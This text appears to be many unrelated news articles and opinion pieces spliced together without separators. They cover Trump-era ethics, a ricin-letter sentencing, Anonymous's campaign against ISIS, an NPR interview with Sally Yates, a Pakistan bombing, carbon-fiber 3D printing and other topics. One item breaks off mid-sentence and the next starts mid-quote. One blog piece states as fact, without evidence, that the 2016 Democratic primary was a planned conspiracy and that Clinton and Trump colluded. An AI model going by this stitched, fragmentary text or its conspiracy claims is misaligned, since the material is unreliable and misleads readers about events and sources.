The president-elect has kept his two adult sons, Donald Jr and Eric, close to his transition team as well. He has insisted that, after inauguration, he will let his children run his business interests while he attends to the duties of commander in chief.
Bannon, a former Goldman Sachs executive and CEO of the far-right, conspiratorial Breitbart News, was only the first of several highly controversial cabinet appointments. On Friday Trump nominated Senator Jeff Sessions to be attorney general, and the retired general Mike Flynn to be national security adviser, leaving progressives and ethics watchers reeling.
Norman Eisen, a former special counsel and ethics adviser to Barack Obama, accused Trump of acting “like something out of a tin-pot oligarchy”. Writing in Fortune, he said “this is not the way we behave” in America.
But there is no evidence that Trump intends to heed such criticism, nor that he could have to confront it legally.
“The key is, he is smashing norms and making his own, but that does not mean he is violating the law in any way,” Robert Rizzi, a government compliance and ethics lawyer in Washington and a visiting professor at Harvard Law School, told the Guardian.
This may not even change much once Trump holds the Oval Office. His family, however, will have to tread cautiously. A federal nepotism law, enacted after President John F Kennedy made his brother, Robert, attorney general, prevents a public official from appointing a relative “to a civilian position in the agency in which he is serving or over which he exercises jurisdiction or control”.
But as long as Kushner and the Trump children are not federal employees, whether paid or unpaid, but are simply “hanging around the White House a lot”, one ethics expert said, they may dance around the law. The expert, who asked not to be named because of current representation for government figures, said that if Trump’s children and son-in-law continued talking to Trump without giving any administration staffers instructions, then it would be difficult to find a law that they had violated.
Hillary Clinton took a formal role in Bill Clinton’s White House to try to achieve healthcare reform, but she had an official position, first lady of the United States. She was able to proceed unimpeded legally, although her efforts failed and she suffered enormous political fallout after the project.
Ethics watchdogs may still try to sue Trump if they can find conflicts of interests with his business, apparent nepotism for his children, or efforts to promote his or his children’s brands from the presidential podium.
There are many loopholes, however. Kushner, with the ear of the president, can define himself merely as a consultant or an informal adviser – a “wise man” in the style of unofficial senior advisers who had the ear of Lyndon Johnson in the Vietnam war era.
Though Trump has defied protocol in the limbo before his inauguration – holding court in a skyscraper, shutting down central Manhattan – his deviations may be shocking, and nothing more.
“President-elect Trump is still a private citizen, and it would seem to me that the prime minister of Japan met with a private citizen and a variety of other citizens,” said Ryan Meade, law professor at Loyola University and director of the center for compliance studies. “He is not a government official yet, he can’t rep the United States. He certainly could discuss where his policy would go in future, but he cannot bind the US in any way.”
Facebook Twitter Pinterest Ivanka Trump with her husband Jared Kushner at Trump Tower on 18 November. Photograph: Mike Segar/Reuters
Meade compared the meeting to Trump’s visit with Enrique Peña Nieto, the president of Mexico, during the campaign. “His legal status has not changed. It’s an informal meeting, trying to build a personal relationship, and it’s not technically troubling that there were people in that meeting or the meeting with Abe who did not have security clearance,” Meade added.
Once Trump is president, Meade said, he and the people around him will need security clearances to meet foreign heads of state.
The expert who requested anonymity noted that Trump has also, apparently, refused assistance from state or defense department officials, who normally start to advise a president-elect. The rebuff would ruffle feathers in Washington, but not in much of the US.
“The public does not care. They voted for change,” the expert said.
Tradition dictates, too, that the president-elect first call the prime minister of Britain after winning the election. Trump did not know or care. He spoke to many leaders, including Vladimir Putin of Russia, Benjamin Netanyahu of Israel and others, before finally having what appeared to be a casual conversation with Theresa May.
“It all looks terrible,” the expert said. “His whole transition is a train wreck. Some things will be different when he is in power, but not to the extent some people might expect or like. Don’t conflate norms with what is legal or illegal.”Mayor Boris Johnson has been accused of risking the London Fire Brigade’s (LFB) reputation by ordering it to provide consultancy services to the Qatari government.
Earlier this year the capital’s fire authority, which oversees the Brigade’s work, set up a commercial subsidiary to allow the LFB to carry out private work in order to generate revenue outside of its government and City Hall grants.
Members of all parties on the authority agreed a list of countries which the Brigade should not trade with, including Qatar which Human Rights Watch says has a “problematic” record on human rights, “particularly for the large and growing migrant worker population.”
Mr Johnson has now overruled authority members by ordering that London Fire Brigade Enterprises Limited “provide fire consultancy services to Qatar in relation to its proposed underground transport system”.
A document setting out the mayor’s decision says both the Met and Transport for London are already providing support for transport and police services and that “there should be a consistent approach across the GLA Group”.
The document adds: “There is not a clear cut argument to say that refusing to trade with a country with a questionable human rights record would result in an improvement to that record.”
In addition to overturning the ban on trading with Qatar, Johnson has ordered that the Brigade trades with any country approved by UKTI regardless of the views of authority members.
His decision has been criticised by Labour’s Fiona Twycross, a member of the London Assembly and member of the fire authority.
Dr Twycross said: “Boris Johnson must be the only person on the planet not to know that there are serious human rights and health and safety problems in Qatar
“The fact is that the Qatar’s record on construction projects is appalling. Thousands of workers have died on construction sites as part of Qatar’s World Cup preparations.
“The idea that we should be sending fire brigade staff into that environment is unbelievable. The Mayor’s eagerness to turn a quick profit is frankly tasteless and risks damaging the reputation of the London Fire Brigade.”Story highlights Shannon Richardson gets 18 years in prison, must pay $367,000 in restitution
Texas actress had minor roles in "The Walking Dead" and "The Vampire Diaries"
Richardson mailed ricin-laced letters to President Obama and Michael Bloomberg
The woman gave birth to a baby boy, Brody, while in custody, CNN affiliate reports
The Texas actress who admitted sending ricin-laced letters to President Barack Obama and then-New York Mayor Michael Bloomberg was sentenced to 18 years in prison Wednesday, the U.S. attorney's office said.
Shannon Guess Richardson, 36, also was ordered to pay $367,000 in restitution.
"Today's sentencing brings an appropriate and just end to what is surely one of our most unusual, even bizarre cases," John Bales, U.S. attorney for the Eastern District of Texas, said in a statement.
In December, the actress pleaded guilty to possession of a toxin for use as a weapon, prosecutors said.
Though the charge carried a maximum penalty of life in prison, prosecutors said at the time that Richardson entered into a plea deal under which she would not serve more than 18 years.
Three envelopes containing the natural, highly toxic compound derived from castor beans were mailed from Shreveport, Louisiana, in May 2013, after records showed Richardson made online purchases of castor beans and lye, another component of ricin.
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Richardson lived in New Boston, Texas, about 90 miles north of Shreveport.
In addition to Obama and Bloomberg, Richardson also mailed a poison letter to Mark Glaze, then-director of Mayors Against Illegal Guns, which Bloomberg founded, an FBI arrest affidavit said. The group's office is in Washington.
The letters, which contained what the FBI described as "very low concentrations" of ricin, were discovered before causing any injuries or fatalities. They also issued a threat: "You will have to kill me and my family before you get my guns. The right to bear arms is my constitutional God-given right. What's in this letter is nothing compared to what I've got planned for you."
Richardson -- who had minor roles in television shows, including "The Walking Dead" and "The Vampire Diaries" -- initially told FBI agents that her now-estranged husband had sent the tainted letters.
But authorities said Richardson was found to be "deceptive" in a polygraph exam.
Investigators found that her computer storage devices contained the text of threatening letters to Obama and the couple's computer records showed that her husband couldn't have printed them because he was at work at the time, according to an FBI arrest affidavit.
Eventually, Richardson admitted to investigators that she'd mailed the letters, though she claimed her husband had typed them out and forced her to print and mail them, the affidavit said.
Nathaniel Richardson denied any wrongdoing, telling investigators that his wife was "intentionally misleading" them and that she wanted to end their marriage, court papers said.Anonymous is calling on social media users to troll or harass Islamic State via Twitter, Facebook, Instagram and YouTube. The hactivist group is urging global users to post mocking photos or videos and use specific hashtags on December 11.
THE hacker collective Anonymous claims to have foiled an ISIS terror plot in Italy while spying on the terror network’s communications.
The group made the claim in a series of tweets from its account opened after the Paris attacks in November.
It comes weeks after the group issued a rallying call for those that want to join its cause.
In a video posted to YouTube, an Anonymous member wearing the group’s signature Guy Fawkes mask, speaks about the group’s chaotic, leaderless structure.
“Anonymous is not an organisation, it is not a club, a party or even a movement. There is no charter, no manifest, no membership fees. All we are is people who travel together,” he says.
“We come from all racers, countries and ethnicities. We are many, we are your neighbours, your co-workers, your hairdressers, your bus drivers and your network administrators. We are the guy on the street with the suitcase. We are the girl in the bar you are trying to chat up. We are Anonymous.”
In this month we are working in silence. We have already foiled 1 attack #ISIS against #Italy, we hope to block others. #OpParis #Anonymous — #OpParis (@OpParisOfficial) December 25, 2015
We're digging your graves, we have found you, we are in your accounts & phones the nightmare is about to begin. #ISIS will implode! #OpParis — #OpParis (@OpParisOfficial) December 26, 2015
#OpParis is still working against #ISIS shit. We are making a system to take down 1000 accounts each day. We will cure their mental illness. — #OpParis (@OpParisOfficial) December 17, 2015
Traditionally, Anonymous opposes government control and surveillance, but it has also pledged to take on ISIS following the Paris attacks.
The video also suggests tips to make contact with other Anonymous members and how to guard privacy online.
It suggests creating a separate email account and pseudonym before joining social networks like Facebook and Twitter. It even recommends using a separate browser for Anonymous activities.
At the end of the video, the speaker says, “We are more than you think. We are more than anybody thinks. We are many. And you are now one of us. Welcome to Anonymous.”Sally Yates On Pattern Of Political Interference At Justice Department
President Trump has denounced Attorney General Jeff Sessions for recusing himself from the Russia investigation. Former Acting Attorney General Sally Yates, who was fired by Trump, says the president's actions undermine the rule of law and threaten to destroy the independence of the Justice Department. Yates speaks with NPR's Ari Shapiro about President Trump, Sessions and the independence of the Department of Justice.
AUDIE CORNISH, HOST:
The Trump administration has had a lot of high-level turnover in six months and in just the last week and a half. The president's new communications director, Anthony Scaramucci, is out. He lasted 10 days. During that time, the chief of staff and press secretary left. Scaramucci's departure today comes as the new chief of staff, John Kelly, had his first day on the job. We'll have much more about this elsewhere in the program.
ARI SHAPIRO, HOST:
Now we're going to talk with one of the first people President Trump fired. Sally Yates spent nearly 30 years at the Department of Justice. She was acting attorney general when she refused to enforce the administration's travel ban, and Trump dismissed her. Since then, Yates has been speaking out more about what she sees as a disturbing pattern of political interference at the Department of Justice.
Welcome to the program.
SALLY YATES: Well, thank you for having me.
SHAPIRO: In the last week, the president has criticized Attorney General Jeff Sessions, saying it is unfair that Sessions recused himself from the Russia investigation and more. Many presidents have expressed frustration or even disagreement with things the Justice Department has done. In your opinion, what makes this criticism different?
YATES: Well, primarily what makes this different is that what the president is complaining about is that it's unfair that he doesn't have an individual in place to protect him or those close to him from the Russia investigation. That is very, very different from having just, for example, a policy disagreement with the attorney general or others in the Department of Justice and really invades that area that is supposed to be sacrosanct for DOJ and that being that criminal investigations and prosecutions - those decisions are made just by consideration of the law and the facts and nothing else.
SHAPIRO: Now, the former FBI Director Robert Mueller is leading an independent investigation into Russian interference in the U.S. election. President Trump has suggested, including in an interview with The New York Times, that he might consider firing Mueller if the investigation goes certain directions - for example, if it reaches into Trump Corporation finances. What do you think the consequences of that would be?
YATES: I think that would really be catastrophic. And I think that you're hearing that both from Democrats and Republicans. The White House is not supposed to have any involvement in any investigation or case at all and certainly no involvement in an investigation that involves the White House itself or the president's campaign itself. And so then to take a step to fire special counsel Mueller would be turning the rule of law on its head and would be violating that basic core principle that no one is above the law.
SHAPIRO: How much confidence do you have in the ability of the attorney general, Jeff Sessions, to maintain the firewall that you're describing between politics and law enforcement?
YATES: Well, you know, this is a time-honored firewall. This is not a partisan issue here. I believe that Attorney General Sessions respects the role of the Department of Justice, and it's really going to be up to him to protect the institution of the Department of Justice.
SHAPIRO: So far, do you think he's done a good job of that?
YATES: Well, he recognized that he needed to recuse from the Russia investigation. Many folks have described that as a no-brainer of a decision despite the fact that the president is quite angry about it. And so certainly that is a good indication that he takes that responsibility seriously.
SHAPIRO: You wrote a New York Times op-ed that concludes, we must do more than rubberneck as we drive past this car crash; we all have a responsibility to protect our Justice Department's ability to do its job free from interference; the very foundation of our justice system, the rule of law, depends on it. But you don't actually explain how to protect the Justice Department from interference. What can be done?
YATES: Well, there's only so much you can say in 750 words.
SHAPIRO: (Laughter).
YATES: But you know, really one of the things that I was concerned about when I wrote the op-ed was that, you know - I understand why, you know, many across the country had an almost ghoulish fascination in what was going on with the president essentially beating up his attorney general publicly. But beneath that, the really troubling thing to me was why he was beating him up, and that is that he wanted him to resign, to be able to put someone else in to run the Russia investigation. And so while I understand why there would be a lot of discussion about the fact that Attorney General Sessions had been so loyal to the president, it really missed the bigger point to me, and that is the critical fact that the Department of Justice must absolutely be independent.
And so the first thing I think that we can all do is to ensure that when we talk about this issue, we don't lose sight of the genesis of the president wanting to change out his attorney general, what it is he's trying to accomplish here and then to make sure that our elected officials know that that's absolutely unacceptable. I believe that our public officials will respond if they know how important this is to the public.
SHAPIRO: You spent a large part of your professional career at the Justice Department - 27 years. And for a few months after you left, you didn't speak publicly about what's happening there. What are you feeling right now?
YATES: Well, you know, a variety of feelings, I suppose. I'm not sure. I feel like I'm lying down on a couch here in front of millions of listeners as I tell you how I'm feeling right now, but...
(LAUGHTER)
YATES: You know, as a citizen, obviously I'm very troubled and anxious about what's going on. Certainly as someone who's, as you said, a nearly 30-year veteran of the department and someone who loves the Department of Justice - and I'm still very committed to the mission of that department - I am anxious for the department as well and what all of this will mean for DOJ even after a Trump presidency is over. You know, I think we have to be careful that we don't so change the norms of how DOJ operates, of how the rule of law operates that it is forever changed even after this presidency is over.
SHAPIRO: Former acting Attorney General Sally Yates, thanks very much.
YATES: It was my pleasure. Thanks for having me.
Copyright © 2017 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.A short email from the latest dump by WikiLeaks (who reminded us in a recent tweet that they’ve had a perfect record of accurately-vetted releases for a decade now) is getting some much-deserved attention today.
In an email dated July 15, 2015, a public affairs specialist named Erick Mullen wrote to John Podesta, Chairman of the Hillary Clinton campaign, complaining of the “unseemly” way a Mr. Bob Glennon was assuring Democratic Senators Sherrod Brown and Heidi Heitcamp that Hillary Clinton had personally told Senator Tim Kaine that he will be her Vice President.
In case you missed the date, this was July of 2015, not 2016, many months before the first Democratic primaries even began. Clinton didn’t publicly announce that Kaine was her running mate until more than a year after this email was sent.
Why was a candidate for the presidency of the United States promising somebody one of the most important offices a President can assign, more than a year before she was required to choose a running mate? It can’t be just because she thought Kaine was the best man for the job; there’d be no reason to tie down so far in advance the single most important decision a presidential candidate can make in a constantly-shifting political environment. If merit is all you’re after, you keep an eye on your choices and think carefully about the pros and cons of each one, making your decision when the time comes.
No, you only promise important things to people who give you something important in exchange.
null
Let’s rewind even further back, to 2011. According to this Washington Post article from that year, Tim Kaine decided, at the encouragement of his “friend and political ally” President Obama, to vacate his position as DNC Chairman to pursue a seat in the Senate. That seat was being vacated by Democratic Senator Jim Webb, whom you will remember as one of the dummy opponents the Democratic party fed Hillary Clinton in the 2016 primaries.
Kaine’s chair was then occupied by one Deborah Wasserman Schultz, who according to this Politico article was selected by President Obama “for her strength as a fundraiser and as a television messenger and for her clout in the crucial swing state of Florida.” Before she became DNC Chairwoman, Wasserman Schultz was perhaps best known for her work as the co-chair for Hillary Clinton’s 2008 campaign.
So to recap, in 2011 President Obama (who has at no time made any public statements against any of the DNC personnel who conspired to thwart the campaign of Senator Bernie Sanders in the Democratic primaries) asked his friend to step down as head of the body that regulates Democratic primaries, and replaced him with the woman who ran the campaign for his Secretary of State, Hillary Clinton. Four years later, we learn from a leaked email that in July 2015, President Obama’s friend and ally had already been promised a position as Clinton’s running mate in her bid for her former boss’s seat in the Oval Office.
And a year after that, we learn that Obama’s friend’s replacement, the Obama-appointed former co-chair of Hillary Clinton’s campaign, was caught conspiring with her subordinates to help Hillary Clinton defeat Bernie Sanders, in violation of the Impartiality Clause of the DNC Charter.
Sounds legit.
So, not only do we know that the Democratic primary was an illicit sham, but now we know that it was planned probably years in advance in a conspiracy by Democratic elites that “goes all the way to the top,” as they say. And all thanks to an incredibly pale computer geek from Australia.
God bless you, Julian Assange. Try to get some sun. Actually, don’t. There might be drones out there.
null
This is serious, people. If we allow Hillary Clinton to become President of the United States after a process that was essentially nothing other than Obama hand-picking a successor to the throne, there’ll be no reason for them to ever stop doing this. It will spell the end of democracy in America, in every real sense. If we’re not allowed to determine who leads our nation in the most powerful political office on the planet, we may as well not be able to vote for anything; every real decision made by the will of the people can be thwarted by the forcefully-installed executive branch if its leader wants to badly enough.
They’ll be able to install whatever corporate crony neoliberal war hawk their plutocrat sponsors want, leading to even more extremist backlash against neoliberalism from the right (which is what’s created Trump supporters in the first place), allowing for an overall deeper and deeper movement into economic disparity, predatory trade deals, Wal-Mart economics, ecocidal environmental policy, and of course, war. They’ll keep handing the crown down to whatever neoliberal stooge is next in line, just like Obama’s preparing to do now.
And let’s not forget that this thing has been rigged on both sides of the ticket. Hillary Clinton and Donald Trump are friends, and another leaked Podesta email (click here and then click Attachments to view) reveals that Clinton’s campaign and the DNC colluded with each other and with the press months before Trump announced his candidacy to keep him clowning us all in the spotlight as loudly and as brightly as possible. He’s going to give her this election no matter what it takes.
So where does that leave us? Third party voting, if our votes even count in the general elections anymore? Forgive us for being cynical, but from what we’ve seen, you have to wonder.
But, my rebellious friends, there is every sign that they actually do count. If they didn’t, the Clinton media arm wouldn’t be so aggressive with their skewed polling and “a vote for a third party is a vote for Trump” narrative. And the Clinton online shills wouldn’t be almost solely targeting third-party voters instead of Trump supporters and the vast amount of people who don’t vote at all.
A vote for Hillary Clinton is a vote for Hillary Clinton. And that’s a vote for the death of democracy.
[Featured Image by Gil C/Shutterstock.com]Story highlights The death toll rises to 13, including one child, police say
The Pakistani Taliban claim responsibility for the attack
The explosion hits a highly sensitive military area near the army's general headquarters
It comes the day after an attack on an army checkpoint killed at least 22 people
At least 13 people were killed and 28 others were wounded in a suicide bombing Monday at a market near the Pakistani Army's headquarters, police said.
Those killed in the attack at the Royal Artillery Bazaar include civilians, security personnel and at least one child, Rawalpindi police official Muhammad Maqbool told CNN.
The Royal Artillery Bazaar is in a highly sensitive military area close to the general headquarters of the Pakistani Army in Rawalpindi, a city that neighbors the Pakistani capital of Islamabad.
Police said that attack took place at 7:50 a.m., during a busy period for people traveling to offices and schools.
The Pakistani Taliban claimed responsibility for the attack through their spokesman Shahidullah Shahid.
It comes the day after an explosion at an army checkpoint in the northern city of Bannu killed more than 20 people and wounded dozens more.
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That blast was also claimed by the Pakistani Taliban, who said it was to avenge the killing of one of their commanders in a U.S. drone strike last year.
Pakistani Prime Minister Nawaz Sharif condemned the Bannu attack and said he was canceling a planned trip to Davos, Switzerland, where the World Economic Forum takes place this week.Since launching the Russian Roulette series in March 2014, VICE News reporter Simon Ostrovsky has filmed and released over 100 video dispatches, creating a truly singular body of combat reportage about the Russian annexation of Crimea and the bloody war in eastern Ukraine. Ostrovsky and his VICE News team have courageously navigated the challenges of operating in a conflict zone since the crisis first erupted. The VICE News crew have interviewed everyone from rank-and-file fighters and local warlords to innocent civilians trapped in the war zone. Along the way they have transformed Western audiences’ understanding of the crisis in Ukraine. Ostrovsky was himself kidnapped and interrogated by pro-Moscow separatists last April, but was released four days later.
The Carnegie Endowment for International Peace hosted an exclusive screening of some of Ostrovsky’s most captivating dispatches. Following the screening, he discussed his experiences reporting from Ukraine and shared his impressions of the ongoing crisis. A short reception followed.
Viewers are advised that the videos below contain graphic content.
Simon Ostrovsky
Simon Ostrovsky, who was born in the former Soviet Union, is an American journalist, director, and producer based in Brooklyn, New York. Prior to his work with VICE News, he produced documentaries and short films for Al Jazeera English, HBO, and BBC Newsnight.
Andrew S. Weiss
Andrew S. Weiss is vice president for studies at the Carnegie Endowment for International Peace and oversees Carnegie’s work on Russia and Eurasia. He served on the National Security Council staff during the Clinton administration.The sole secondary mirror that will fly aboard NASA's James Webb Space Telescope was installed onto the telescope at NASA's Goddard Space Flight Center in Greenbelt, Maryland, on March 3, 2016.
The Webb telescope uses |
,” Burman told reporters.
Those in the bottom 20 percent of incomes would see average gains of more than $10,000, which would be equivalent to a 280 percent increase in their incomes. Those in the dead center of the income ladder would see an $8,500 gain, a 21 percent increase. Meanwhile, those in the top 5 percent would end up paying $110,000, which would amount to a 17 percent decline in their incomes.
But Sanders has already proposed so many tax hikes on the wealthy that he would have to start looking at taxpayers further down the income ladder for the additional revenue needed to make his budget plans work, the Tax Policy Center said. That, in turn, would change the distribution of winners and losers under Sanders’s plans, the group said.
“He could not rely on additional income from high-income people," said Burman.
The analysis was prompted by complaints from the Sanders' campaign that a March analysis of his tax plans by the group – which showed taxes going up for virtually everyone – was misleading because it did not include the benefits people would receive on the spending side of the ledger.
“We thought the Sanders campaign had a point that you’d get a very different picture if you looked at spending, along with taxes,” said Burman.
Monday’s report finds the value of those benefits would outstrip the cost of Sander’s tax increases for 95 percent of households, with an average gain of almost $4,300 in 2017.
Sanders has proposed creating or expanding a host of government benefits. By far the priciest item on his agenda is his call for single-payer health coverage, which the Tax Policy Center says would cost $29 trillion over a decade.
His plan to offer new long-term care services for the elderly would cost another $2.9 trillion, and free tuition at public colleagues would cost $800 billion, the group said. His family medical leave plan would run $270 billion, while his bid to expand Social Security benefits would cost $188 billion.
Sanders has proposed more than two dozen tax increases, which would hit the wealthy the hardest, but he’s also called for expansions of payroll taxes, which would affect virtually everyone.
The government would have to increase borrowing to cover the gap between the cost of Sanders’ spending plans and the revenue his tax hikes would bring in. That could create a drag on the economy, because it means there will be more demand for all the money out there in the world that can be borrowed. That, in turn. pushes up how much people with money to lend can charge for interest.
The wealthy are probably close to tapped out under Sanders' plan, said Burman, which he noted would already push the top income tax rate to more than 70 percent and nearly triple capital gains taxes to 64 percent.
"Those rates have got to be close to the highest levels that could be assessed without starting to lose revenue,” said Burman. Many countries with such expansive government benefits have broader tax systems, such as value-added taxes, which hit poor people harder, he said.
“President Sanders would have to rely more on much more broad-based taxes” and “that would change the distribution of net benefits” under his plan, Burman said.Lawrence Livermore National Laboratory (LLNL) researchers have become the first to 3D print aerospace-grade carbon fiber composites, opening the door to greater control and optimization of the lightweight, yet stronger than steel material.
The research, published by the journal Scientific Reports online on March 6, represents a “significant advance” in the development of micro-extrusion 3D printing techniques for carbon fiber, the authors reported.
“The mantra is ‘if you could make everything out of carbon fiber, you would’ — it’s potentially the ultimate material,” explained Jim Lewicki, principal investigator and the paper’s lead author. “It’s been waiting in the wings for years because it’s so difficult to make in complex shapes. But with 3D printing, you could potentially make anything out of carbon fiber.”
A carbon fiber composite ink extrudes from a customized direct ink writing (DIW) 3D printer, eventually building part of a rocket nozzle.
Carbon fiber is a lightweight, yet stiff and strong material with a high resistance to temperature, making the composite material popular in the aerospace, defense and automotive industries, and sports such as surfing and motorcycle racing.
Carbon fiber composites are typically fabricated one of two ways -- by physically winding the filaments around a mandrel, or weaving the fibers together like a wicker basket, resulting in finished products that are limited to either flat or cylindrical shapes, Lewicki said. Fabricators also tend to overcompensate with material due to performance concerns, making the parts heavier, costlier and more wasteful than necessary.
However, LLNL researchers reported printing several complex 3D structures through a modified Direct Ink Writing (DIW) 3D printing process. Lewicki and his team also developed and patented a new chemistry that can cure the material in seconds instead of hours, and used the Lab’s high performance computing capabilities to develop accurate models of the flow of carbon fiber filaments.
“How we got past the clogging was through simulation,” Lewicki said. “This has been successful in large part because of the computational models.”
Computational modeling was performed on LLNL’s supercomputers by a team of engineers who needed to simulate thousands of carbon fibers as they emerged from the ink nozzle to find out how to best align them during the process.
Video of 3D printing with carbon fiber
“We developed a numerical code to simulate a non-Newtonian liquid polymer resin with a dispersion of carbon fibers. With this code, we can simulate evolution of the fiber orientations in 3D under different printing conditions,” said fluid analyst Yuliya Kanarska. “We were able to find the optimal fiber length and optimal performance, but it’s still a work in progress. Ongoing efforts are related to achieving even better alignment of the fibers by applying magnetic forces to stabilize them.”
The ability to 3D print offers new degrees of freedom for carbon fiber, researchers said, enabling them to have control over the parts’ mesostructure. The material also is conductive, allowing for directed thermal channeling within a structure. The resultant material, the researchers said, could be used to make high-performance airplane wings, satellite components that are insulated on one side and don’t need to be rotated in space, or wearables that can draw heat from the body but don’t allow it in.
“A big breakthrough for this technology is the development of custom carbon fiber-filled inks with thermoset matrix materials," said materials and advanced manufacturing researcher Eric Duoss. "For example, epoxy and cyanate ester are carefully designed for our printing process, yet also provide enhanced mechanical and thermal performance compared to thermoplastic counterparts that are found in some commercially available carbon fiber 3D printing technologies, such as nylon and ABS (a common thermoplastic). This advance will enable a broad range of applications in aerospace, transportation and defense.”
The direct ink writing process also makes it possible to print parts with all the carbon fibers going the same direction within the microstructures, allowing them to outperform similar materials created with other methods done with random alignment. Through this process, researchers said they’re able to use two-thirds less carbon fiber and get the same material properties from the finished part.
The researchers will next turn to optimizing the process, figuring out the best places to lay down the carbon fiber to maximize performance. There have been discussions with commercial, aerospace and defense partners to move forward on future development of the technology.
Other Lab researchers included on the paper are Jennifer Rodriguez, Cheng Zhu, Marcus Worsley, Amanda Wu, John Horn, Jason Ortega, William Elmer, Ryan Hensleigh, Ryan Fellini and Michael King.
The Laboratory Directed Research and Development program funded the study.“Research still confirms what this Court suggested over a century ago: Years on end of near-total isolation exacts a terrible price,” he summarized.
Kennedy’s critique of solitary confinement in Davis came without warning or fanfare. Davis was not a case about solitary confinement at all; the Court had accepted it to address peremptory challenges during jury selection. But the length and condition of Ayala’s imprisonment appears to have caught Kennedy’s attention. Towards the end of oral arguments on March 3, he briefly quizzed Anthony Dain, Ayala’s lawyer, for more details.
“This crime was, what, 30 years ago and the trial [was] 26 years ago? Has he spent time in solitary confinement, and if so, how much?” Kennedy asked.
“He has spent his entire time in what’s called administrative segregation. When I visit him, I visit him through glass and wire bars,” Dain replied. When the justice inquired about the difference between solitary confinement and administrative segregation, Dain said his client spent 23 hours in his cell and was allowed one hour of activity.
“One hour,” Kennedy muttered in response as Dain’s time expired.
Solitary confinement is a new battleground for the Court’s second-longest serving justice, but not a surprising one. Few justices on the Supreme Court have wielded the Eighth Amendment as expansively as Anthony Kennedy. On the death penalty, he wrote the majority opinions in Roper v. Simmons, which forbade the execution of juvenile offenders, and Kennedy v. Louisiana, which struck down death sentences for non-homicide crimes. In 2011, he joined with the Court’s liberal wing in Brown v. Plata to uphold a landmark federal-court order requiring California to reduce prison overcrowding. Kennedy also provided the fifth vote in Miller v. Alabama, in which the Court struck down mandatory life-without-parole sentences for juveniles in 2012. As the court’s swing vote, he carries tremendous power to shape cases to form majorities.
Although Kennedy addressed solitary confinement specifically, he also invoked mass incarceration in general and the national debate surrounding it. “There are indications of a new and growing awareness in the broader public of the subject of corrections and of solitary confinement in particular,” he noted. Perhaps hoping to reach this broader public, Kennedy wrote without dense legal jargon and cited examples ranging from Kalief Browder to Dr. Manette, the imprisoned father of Lucie in Charles Dickens’s A Tale of Two Cities. “Even Manette, while imprisoned, had a work bench and tools to make shoes, a type of diversion no doubt denied many of today’s inmates,” he observed.
But Kennedy’s concurrence also seemed to be directed toward the American legal community, whose disengagement from prison issues he has previously lamented. “In law school, I never heard about corrections,” he told a congressional hearing on March 23, two weeks after the Davis oral arguments. “Lawyers are fascinated with the guilt/innocence adjudication process. Once [it] is over, we have no interest in corrections. Doctors and psychiatrists know more about the corrections system than we do.”Ron Paul as secretary of state #thingstoworryabout — Jennifer Rubin (@JRubinBlogger) May 4, 2016
What is it that keeps the Washington Post's hyperventilating neocon scribbler Jennifer Rubin up at night? The fact that Ron Paul's lifelong efforts to promote a peaceful foreign policy continue to light fires in the imaginations of his fellow Americans. Any chance her fellow neocons' near-total control of Washington's foreign policy might be slipping sends Rubin scurrying to her keyboard to launch another spit-bomb.Rubin has been apoplectic for months over the possibility that Donald Trump may wind up the Republican nominee for the presidency. She followed six of the stages of grief but skipped the final one, acceptance, and quickly returned to the first one, shock. Forget about the fact that when it comes to foreign policy, there isn't all that much for non-interventionists to get excited about when it comes to Donald Trump. He just threatened to shoot Russian planes, he wants to confront China, he wants to dump more money into the military-industrial complex, he just told Bibi to build build build more settlements on occupied Palestinian territory in Gaza, and so on.With Trump we of course can hope for the best, and any improvement would be welcome, but realistically the yellow warning flags are taking on a distinctively red hue with each passing foreign policy proclamation.Never mind. For Jennifer Rubin if Trump does not openly worship at the altar of Kristol, Podhoertz, Bolton, et. al., he must be utterly and completely destroyed.Things are so glum in Rubinville that Jennifer has even taken to giving Hillary Clinton advice on how to defeat Trump.But nothing makes Rubin madder than the fact that the ideas Ron Paul openly espoused in his recent two presidential campaigns have planted a seed especially among young people, who may in fact be settling for Trump but whose hearts are still with Dr. Paul's prescription for peace and prosperity: non-intervention overseas and in the US economy. Sound money. Free markets and free minds.So Rubin goes nuclear against a Republican rank and file that has backed the non-neocon candidate: A Trump victory could bring Ron Paul back to Washington!!!!!She Tweets:
Of course anyone who knows anything about anything knows how unlikely is such a thing. But the mere thought of it is enough to sent Rubin screaming as if her hair was on fire. "Don't you people understand how dangerous Trump is??? He could even bring Ron Paul into his administration!!!!"
What a horror for Rubin and the neocons!
What would a Ron Paul State Department look like to the rest of us? Obviously the Secretary of State serves the president, but history teaches us that the Secretary has ample opportunity to make his or her mark on US foreign policy while at the helm of the Foggy Bottom Fudge Factory.
Under a Secretary Paul there would be no endless hectoring calls to the president demanding that this or that country be "liberated" with smart power and smart bombs. Under Secretary Paul there would be no legions of US-funded NGOers sent to undermine the electoral processes overseas. Under Secretary Paul there would be no fact-free, mindless propaganda sessions deceptively named "daily press briefings." Under Secretary Paul diplomacy would not mean "do what we say and we will give you money, refuse and we will bomb you." Under Secretary Paul diplomacy would serve the national interest instead of the special interests. Under Secretary Paul, the customary appearances by the Secretary before the House and Senate foreign affairs committees would actually be exercises in truth-telling instead of spin-making.
Well, you get the idea. It would be a total nightmare for Rubin and the neocons. So Jennifer has something to worry about...
Hat-tip: LRC.This article is over 3 years old
The plans for the mission were announced in the budget without consultation with Papua New Guinea – even though Bougainville is part of PNG
Papua New Guinea’s prime minister, Peter O’Neill, says he is shocked by the sudden announcement of the establishment of an Australian diplomatic mission in Bougainville, which happened without consultation with his government.
The Australian government announced the plans for the mission as part of Tuesday’s budget.
“There has been no consultation on this proposal and there is no agreement to proceed,” O’Neill said in Sydney on Wednesday.
“We were shocked to learn from the budget documents that Australia was planning to establish a diplomatic post in Bougainville,” O’Neill said.
“As we all know, Bougainville is an integral part of Papua New Guinea.
“As we respect the territorial integrity of others, we expect others to respect ours as well.”
As part of its 2015-16 budget, Australia announced it will spend $98.3m on five new diplomatic missions including one in Buka, Bougainville.
O’Neill, who was speaking at the Lowy Institute, said he had had no communication from the foreign minister, Julie Bishop, about the mission.
“I read about it as much as you did in the budget papers,” he said.
The PNG foreign minister, Rimbink Pato, described the plan as “outrageous” and has summoned the Australian High Commissioner Deborah Stokes to explain “the media accounts of this mischievous proposal”.
